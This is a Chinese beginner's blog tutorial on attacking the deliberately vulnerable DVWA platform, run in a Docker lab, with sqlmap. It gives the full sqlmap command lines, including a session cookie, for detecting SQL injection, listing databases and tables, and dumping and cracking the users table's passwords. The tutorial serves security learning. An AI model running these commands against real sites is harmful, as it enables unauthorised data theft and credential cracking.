sqlmap + DVWA 入门
sqlmap 入门
前言
项目地址:
sqlmap: https://github.com/sqlmapproject/sqlmap
DVWA: https://github.com/ethicalhack3r/DVWA
实验环境:Ubuntu 18.04 + sqlmap,CentOS + Docker + DVWA
工具介绍:sqlmap 是用来sql 注入的工具,DVWA 是圈内著名的web 安全测试平台,可以用来进行SQL 注入、文件上传漏洞、XSS 攻击等实验。在靶机CentOS 上,使用Docker 部署DVWA 平台,在测试机Ubuntu 上安装sqlmap
准备阶段
1、在CentOS 上安装Docker-CE
如果已经安装Docker 则可以跳过这一步,如果不愿意使用Docker,可以参考DVWA项目地址,手动下载资源文件部署平台
在CentOS上安装Docker:参考其他教程(还没写出来)
2、安装DVWA
由于Docker 安装之后默认的文件系统为layover2,而DVWA 在overlay2 上回遇到和mysql 相关的问题,因此官方推荐更换docker 使用文件系统。
此步我们使用第三方制作的DVWA,支持overlay2:
Docker Hub 地址:https://hub.docker.com/r/citizenstig/dvwa
安装步骤:
# 获取镜像
docker pull docker pull citizenstig/dvwa
# 新建容器
docker run -d -p 80:80 citizenstig/dvwa
访问CentOS 的主机地址,可以看到,除reCAPTCHA key 为Missing 红色外,其余状态均为绿色。点击Create/Reset Database
按钮
3、配置DVWA
将DVWA 安全等级修改为Low
4、在Ubuntu 上安装sqlmap
直接使用apt 安装,建议使用国内软件源:
sudo apt install sqlmap
搞事阶段
1、访问CentOS 地址,进入DVWA 配置,使用用户名 admin,密码 password 登录
2、查看Cookis:
在我的电脑上,本次登录使用的cookie为:
PHPSESSID=ogar52uhrqgksvhb7sf5club92;security=low
3、DVWA 选择SQL Injection,在输入框内输入任意的测试内容,例如:happy:
可以看到URL 内出现了GET 传值的数据:?id=happy 这意味着可以尝试进行sql 注入
4、使用sqlmap
直接输入sqlmap 可以看到使用提示:
我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch
-u:URL 地址,其中IpAddress 为CentOS 的地址
--cookie:传入刚才登录的cookie,模拟登录(可以尝试不传入cookie 直接注入会发生什么)
--batch:使用默认选项
等待片刻后,sqlmap 给出了此次注入测试的结果:
代表的含义为:sqlmap 通过3704次测试后,找到了四种进行注入的方法(存在四种漏洞),分别为boolean-based blind, error-based, AND/OR time-based blind, UNION query,最后还给出了服务器使用的操作系统、web 引擎和MySQL 大致版本
5、偷看数据库
使用 --dbs 查看数据库:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch --dbs
我们准备看一下dvwa 数据库中的表:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa --tables
查看users 中的columns :
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users --columns
发现user 与password,查看这两列的内容:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users -C "user,password" --dump
途中可以看到password 字段为md5 加密,sqlmap 开始爆破试图得到解密结果:
最终得到表内数据以及解密后的密码:
后续阶段
sqlmap 会将每次的注入结果存放在 ~/.sqlmap/out 文件夹内
sqlmap + DVWA 入门的更多相关文章
- sqlmap注入入门
sqlmap注入入门 sqlmap的用法: linux中: sqlmap [选项] Windows中: python sqlmap [选项] 常用的参数及含义: 目标 -d DIRECT ...
- sqlmap基础入门超详细教程
前言: 总算进入了自己喜欢的行业. 要时刻记得当初自己说过的话, 不忘初心. Come on! 资料: 感谢超哥分享的干货.. sqlmap干货点击直达 学习环境: 本次学习使用的是kali集成的s ...
- Burpsuite Sqlmap Nmap入门总结
burpsuite sqlmap nmap 简介 sqlmap基础 五种独特sql注入技术: 基于布尔类型的盲注 基于时间的盲注 基于报错注入 联合查询注入 堆查询注入 sqlmap入门 1.判断是否 ...
- sqlmap dvwa SQL Injection使用小记
刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...
- sqlmap:入门(手工注入)
一. 联合查询注入union(less-1) 1. union操作符用于合并两个或多个select语句结果集: 2. union后的select语句必须拥有和最前的select语句拥有相同数量的字段, ...
- 2.3 sqlmap目录及结构
2.3 sqlmap目录及结构Tips:此篇文章主要参考了<sqlmap从入门到精通>这本书中的相关具体细节,由于这本书作者完成的时间大概在2017年作用,所以我根据书中提到的信息再根据目 ...
- 安全工具推荐之sqlmap tamper&sqlmap api
我发现总有一些人喜欢问sqlmap的tamper脚本,问完工具问参数,问完参数问脚本...... 你这个问题问的水平就很艺术,让我一时不知从何说起...... 说一下在sqlmap的使用过程中,个人了 ...
- 渗透测试之Web安全
写在前面: 渗透测试包含但不限于Web安全 渗透测试并不相当于Web渗透 Web安全学习是入门渗透测试最容易的途径,门槛最低 Web安全入门: 基础入门 整体框架 SQL注入 XSS攻击 业务逻辑漏洞 ...
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
随机推荐
- Ansible 自动化运维——剧本(playbook)
Ansible 自动化运维--剧本(playbook) 1.playbook介绍: playbook是ansible用于配置,部署,和管理被控节点的剧本.通过playbook的详细描述,执行其中的ta ...
- VUE3 之 动态组件 - 这个系列的教程通俗易懂,适合新手
1. 概述 暗示效应告诉我们: 巧妙的暗示会在不知不觉中剥夺我们的判断力,对我们的思维形成一定的影响,造成我们行为的些许改变或者偏差. 例如你的朋友说你脸色不太好,是不是病了,此时,你可能就会感觉浑身 ...
- 05 BOM与DOM
BOM和DOM 1. 什么是BOM和DOM 到目前为止,我们已经学过了JavaScript的一些简单的语法.但是这些简单的语法,并没有和浏览器有任何交互. 也就是我们还不能制作一些我们经常看到的网页的 ...
- mysql中generated always as的使用
-- generated always as的使用 CREATE TABLE t1( c1 INT, c2 DOUBLE(20,19) , c3 INT GENERATED ALWAYS AS(c1* ...
- 使用Jitpack发布开源Java库
原文:使用Jitpack发布开源Java库 | Stars-One的杂货小窝 很久之前也写过一篇使用Jitpack发布Android开源库的文章,详见Android开发--发布第三方库到JitPack ...
- 树莓派GPIO开发(二)RGB模块-PWM调节
配置环境 系统:Raspbian11(官方64位) 设备:树莓派CM4 一.PWM简单介绍 全称:Pulse-width modulation,脉冲宽度调制,简单的数模转换方法 1.基本原理 脉冲宽度 ...
- 关于SpringCloud中,使用 Hystrix的问题
springCloud升级后.导致 HtystrixDashboard 默认的servlet请求路径修改了 将业务的微服务使用 HtystrixDashboard 仪表盘第一次监控时出现 Unable ...
- nginx拒绝国外IP访问
nginx拒绝国外IP访问方法很多,比如iptables,geoip模块,域名解析等等.这些方法不会相互冲突,可以结合起来一起使用. 今天来教大家利用两个小方法解决 域名解析禁止掉海外IP访问网站. ...
- .NET6: 开发基于WPF的摩登三维工业软件 (7)
做为一个摩登的工业软件,提供可编程的脚本能力是必不可少的能力.脚本既可以方便用户进行二次开发,也对方便对程序进行自动化测试.本文将结合AnyCAD对Python脚本支持的能力和WPF快速开发带脚本编辑 ...
- Redis原理再学习04:数据结构-哈希表hash表(dict字典)
哈希函数简介 哈希函数(hash function),又叫散列函数,哈希算法.散列函数把数据"压缩"成摘要,有的也叫"指纹",它使数据量变小且数据格式大小也固定 ...